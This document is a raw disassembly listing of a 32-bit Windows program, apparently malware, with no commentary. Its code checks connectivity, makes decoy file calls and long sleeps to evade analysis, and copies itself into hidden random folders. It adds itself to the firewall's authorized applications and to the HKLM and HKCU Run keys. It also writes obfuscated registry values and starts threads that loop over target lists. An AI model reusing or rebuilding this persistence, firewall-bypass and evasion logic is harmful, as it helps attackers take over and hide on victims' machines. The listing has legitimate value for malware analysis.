call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edx, dword [ebp - 0x1108]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0xdac
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x1114]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x1128], 0
je 0x404a03
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
push str.wgg4gwg4wgw4w4gw4gw4g4wghw4h
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0
mov ecx, dword [ebp - 0x1128]
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
mov edx, dword [ebp - 0x1128]
push edx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_87.0.4280.88_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x1114], eax
cmp dword [ebp - 0x1114], 0
je 0x4049f6
push 0
push 0
push 0
push 0
push str.http:__www.mail.ru_
mov eax, dword [ebp - 0x1114]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x1108], eax
cmp dword [ebp - 0x1108], 0
je 0x4049c8
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.nw55n5nww5n5nww5nw5n5n5n5n
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [ebp - 0x1108]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x1114]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [ebp - 0x1110], 0x12fd1
mov dword [ebp - 0x1100], 0x3e7
mov eax, dword [ebp - 0x1110]
cmp eax, dword [ebp - 0x1100]
jbe 0x404a8e
push 0
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x112c], eax
cmp dword [ebp - 0x112c], 0
je 0x404a8c
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.nw55n5nww5n5nww5nw5n5n5n5n
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x1100]
add ecx, 1
mov dword [ebp - 0x1100], ecx
jmp 0x404a17
push str.2uu5uii55i5i25i52i5ii2525i5i25i
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x404ad9
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3rm3mrk3kmr3mrl3mrm3mr3lmmrl3m
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0
push str.3ru38ur8u3yu38uy38uy3ur
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x1104], eax
cmp dword [ebp - 0x1104], 0
je 0x404b89
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edx, dword [ebp - 0x10fc]
push edx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push str.3rm3mrk3kmr3mrl3mrm3mr3lmmrl3m
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 1
mov eax, dword [ebp - 0x10fc]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
push str.nw55n5nww5n5nww5nw5n5n5n5n
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.3rm3mrk3kmr3mrl3mrm3mr3lmmrl3m
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x10fc]
push ecx
call dword [sym.imp.USER32.dll_CloseWindow]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x1130], 0
jmp 0x404ba4
mov edx, dword [ebp - 0x1130]
add edx, 1
mov dword [ebp - 0x1130], edx
cmp dword [ebp - 0x1130], 0x190
jge 0x404bee
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
push str.nw55n5nww5n5nww5nw5n5n5n5n
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x404b95
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x404d1e
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [ebp - 0x1138], 0
jmp 0x404c27
mov eax, dword [ebp - 0x1138]
add eax, 1
mov dword [ebp - 0x1138], eax
cmp dword [ebp - 0x1138], 0x1770
jge 0x404c50
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
push str.nw55n5nww5n5nww5nw5n5n5n5n
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x404c18
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x1134], eax
cmp dword [ebp - 0x1134], 0
je 0x404cda
push str.3r3rq3r33r3rq3r33r3rq3r33r3rq3r3
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 0x10fc]
push ecx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
mov edx, dword [ebp - 0x10fc]
push edx
call dword [sym.imp.USER32.dll_SetFocus]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.3rm3mrk3kmr3mrl3mrm3mr3lmmrl3m
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x10fc]
push eax
call dword [sym.imp.USER32.dll_CloseWindow]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x113c], 0
jmp 0x404cf5
mov ecx, dword [ebp - 0x113c]
add ecx, 1
mov dword [ebp - 0x113c], ecx
cmp dword [ebp - 0x113c], 0x9c4
jge 0x404d1e
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
push str.nw55n5nww5n5nww5nw5n5n5n5n
call dword [sym.imp.KERNEL32.dll_MoveFileW]
jmp 0x404ce6
mov edx, dword [ebp - 0x510]
add edx, 1
mov dword [ebp - 0x510], edx
jmp 0x4044f2
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x208
push 0
lea eax, [ebp - 0x418]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x208
lea ecx, [ebp - 0x418]
push ecx
mov edx, dword [ebp - 0x10f8]
mov eax, dword [ebp + edx*4 - 0x1044]
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x7530
idiv ecx
add edx, 0x3e8
push edx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x7530
idiv ecx
add edx, 0x3e8
push edx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x7530
idiv ecx
add edx, 0x3e8
push edx
lea edx, [ebp - 0x418]
push edx
push str._ls_d_d_d
lea eax, [ebp - 0xc38]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x18
lea ecx, [ebp - 0xa2c]
push ecx
lea edx, [ebp - 0xc38]
push edx
push str._ls_ls
lea eax, [ebp - 0xf68]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea ecx, [ebp - 0xc38]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x404fbf
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
lea edx, [ebp - 0xf68]
push edx
lea eax, [ebp - 0x758]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x404fbf
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x500]
push ecx
lea edx, [ebp - 0xf68]
push edx
push str._ls::Enabled:_ls
lea eax, [ebp - 0x9c8]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 7
lea ecx, [ebp - 0xc38]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 7
lea edx, [ebp - 0xf68]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x75c]
push eax
push 0xf003f
push 0
push str.SYSTEMCurrentControlSetServicesSharedAccessParametersFirewallPolicyStandardProfileAuthorizedApplicationsList
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x404edc
lea ecx, [ebp - 0x9c8]
push ecx
call sub.MSVCRT.dll_wcslen
add esp, 4
lea edx, [eax + eax + 2]
push edx
lea eax, [ebp - 0x9c8]
push eax
push 1
push 0
lea ecx, [ebp - 0xf68]
push ecx
mov edx, dword [ebp - 0x75c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [ebp - 0x75c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x75c]
push ecx
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun_
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x404f3e
lea edx, [ebp - 0xf68]
push edx
call sub.MSVCRT.dll_wcslen
add esp, 4
lea eax, [eax + eax + 2]
push eax
lea ecx, [ebp - 0xf68]
push ecx
push 1
push 0
lea edx, [ebp - 0x500]
push edx
mov eax, dword [ebp - 0x75c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp - 0x75c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x75c]
push edx
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun_
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x404fa0
lea eax, [ebp - 0xf68]
push eax
call sub.MSVCRT.dll_wcslen
add esp, 4
lea ecx, [eax + eax + 2]
push ecx
lea edx, [ebp - 0xf68]
push edx
push 1
push 0
lea eax, [ebp - 0x500]
push eax
mov ecx, dword [ebp - 0x75c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, dword [ebp - 0x75c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0xf68]
push eax
call fcn.00402740
add esp, 4
movzx ecx, al
cmp ecx, 1
jne 0x404fbf
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
jmp 0x4044b7
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [ebp - 0x75c]
push edx
push 0xf003f
push 0
lea eax, [ebp - 0x7a0]
push eax
call fcn.004027f0
add esp, 4
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x405163
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
lea edx, [ebp - 0x54c]
push edx
call fcn.004027f0
add esp, 4
push eax
mov eax, dword [ebp - 0x75c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea ecx, [ebp - 0x75c]
push ecx
push 0xf003f
push 0
lea edx, [ebp - 0xfe0]
push edx
call fcn.004027f0
add esp, 4
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x405088
push 0
lea eax, [ebp - 0x75c]
push eax
push 0
push 0x20006
push 0
push 0
push 0
lea ecx, [ebp - 0xfe0]
push ecx
call fcn.004027f0
add esp, 4
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
lea edx, [ebp - 0x75c]
push edx
push 0xf003f
push 0
lea eax, [ebp - 0xfe0]
push eax
call fcn.004027f0
add esp, 4
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x405156
lea ecx, [ebp - 0x9e4]
push ecx
call fcn.004027f0
add esp, 4
lea edx, [ebp - 0x4b8]
push edx
call fcn.004027f0
add esp, 4
lea eax, [ebp - 0xd5c]
push eax
call fcn.004027f0
add esp, 4
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
lea edx, [ebp - 0x9e4]
push edx
mov eax, dword [ebp - 0x75c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
lea edx, [ebp - 0x4b8]
push edx
mov eax, dword [ebp - 0x75c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
lea edx, [ebp - 0xd5c]
push edx
mov eax, dword [ebp - 0x75c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x75c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [ebp - 0x75c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x75c]
push eax
push 0xf003f
push 0
lea ecx, [ebp - 0x488]
push ecx
call fcn.004027f0
add esp, 4
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4052fc
lea edx, [ebp - 0x1038]
push edx
call fcn.004027f0
add esp, 4
lea eax, [ebp - 0x770]
push eax
call fcn.004027f0
add esp, 4
lea ecx, [ebp - 0x1020]
push ecx
call fcn.004027f0
add esp, 4
lea edx, [ebp - 0x49c]
push edx
call fcn.004027f0
add esp, 4
lea eax, [ebp - 0xf80]
push eax
call fcn.004027f0
add esp, 4
lea ecx, [ebp - 0xf94]
push ecx
call fcn.004027f0
add esp, 4
lea edx, [ebp - 0xa14]
push edx
call fcn.004027f0
add esp, 4
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
lea ecx, [ebp - 0x1038]
push ecx
mov edx, dword [ebp - 0x75c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
lea ecx, [ebp - 0x770]
push ecx
mov edx, dword [ebp - 0x75c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
lea ecx, [ebp - 0x1020]
push ecx
mov edx, dword [ebp - 0x75c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
lea ecx, [ebp - 0x49c]
push ecx
mov edx, dword [ebp - 0x75c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
lea ecx, [ebp - 0xf80]
push ecx
mov edx, dword [ebp - 0x75c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
lea ecx, [ebp - 0xf94]
push ecx
mov edx, dword [ebp - 0x75c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
lea ecx, [ebp - 0xa14]
push ecx
mov edx, dword [ebp - 0x75c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x75c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x75c]
push ecx
push 0xf003f
push 0
lea edx, [ebp - 0x1008]
push edx
call fcn.004027f0
add esp, 4
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x405495
lea eax, [ebp - 0x1038]
push eax
call fcn.004027f0
add esp, 4
lea ecx, [ebp - 0x770]
push ecx
call fcn.004027f0
add esp, 4
lea edx, [ebp - 0x1020]
push edx
call fcn.004027f0
add esp, 4
lea eax, [ebp - 0x49c]
push eax
call fcn.004027f0
add esp, 4
lea ecx, [ebp - 0xf80]
push ecx
call fcn.004027f0
add esp, 4
lea edx, [ebp - 0xf94]
push edx
call fcn.004027f0
add esp, 4
lea eax, [ebp - 0xa14]
push eax
call fcn.004027f0
add esp, 4
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
lea edx, [ebp - 0x1038]
push edx
mov eax, dword [ebp - 0x75c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
lea edx, [ebp - 0x770]
push edx
mov eax, dword [ebp - 0x75c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
lea edx, [ebp - 0x1020]
push edx
mov eax, dword [ebp - 0x75c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
lea edx, [ebp - 0x49c]
push edx
mov eax, dword [ebp - 0x75c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
lea edx, [ebp - 0xf80]
push edx
mov eax, dword [ebp - 0x75c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
lea edx, [ebp - 0xf94]
push edx
mov eax, dword [ebp - 0x75c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
lea edx, [ebp - 0xa14]
push edx
mov eax, dword [ebp - 0x75c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x75c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x401670
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x402610
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x1140], 0
jmp 0x405503
mov edx, dword [ebp - 0x1140]
add edx, 1
mov dword [ebp - 0x1140], edx
cmp dword [ebp - 0x1140], 8
jae 0x4055b3
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x1144], 0
jmp 0x405533
mov eax, dword [ebp - 0x1144]
add eax, 1
mov dword [ebp - 0x1144], eax
cmp dword [ebp - 0x1144], 6
jae 0x4055ae
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x1144]
mov edx, dword [ebp + ecx*4 - 0x9fc]
push edx
mov eax, dword [ebp - 0x1140]
mov ecx, dword [ebp + eax*4 - 0x7c0]
push ecx
push str._s_s
lea edx, [ebp - 0xd40]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov eax, dword [ebp - 0x1144]
lea ecx, [ebp + eax*4 - 0x538]
push ecx
lea edx, [ebp - 0xd40]
push edx
call fcn.00402a20
add esp, 8
movzx eax, al
cmp eax, 1
jne 0x4055a9
lea ecx, [ebp - 0xd40]
push ecx
call fcn.00401a00
add esp, 4
jmp 0x405524
jmp 0x4054f4
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0xea60
idiv ecx
imul edx, edx, 0x14
add edx, 0x2710
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4054e0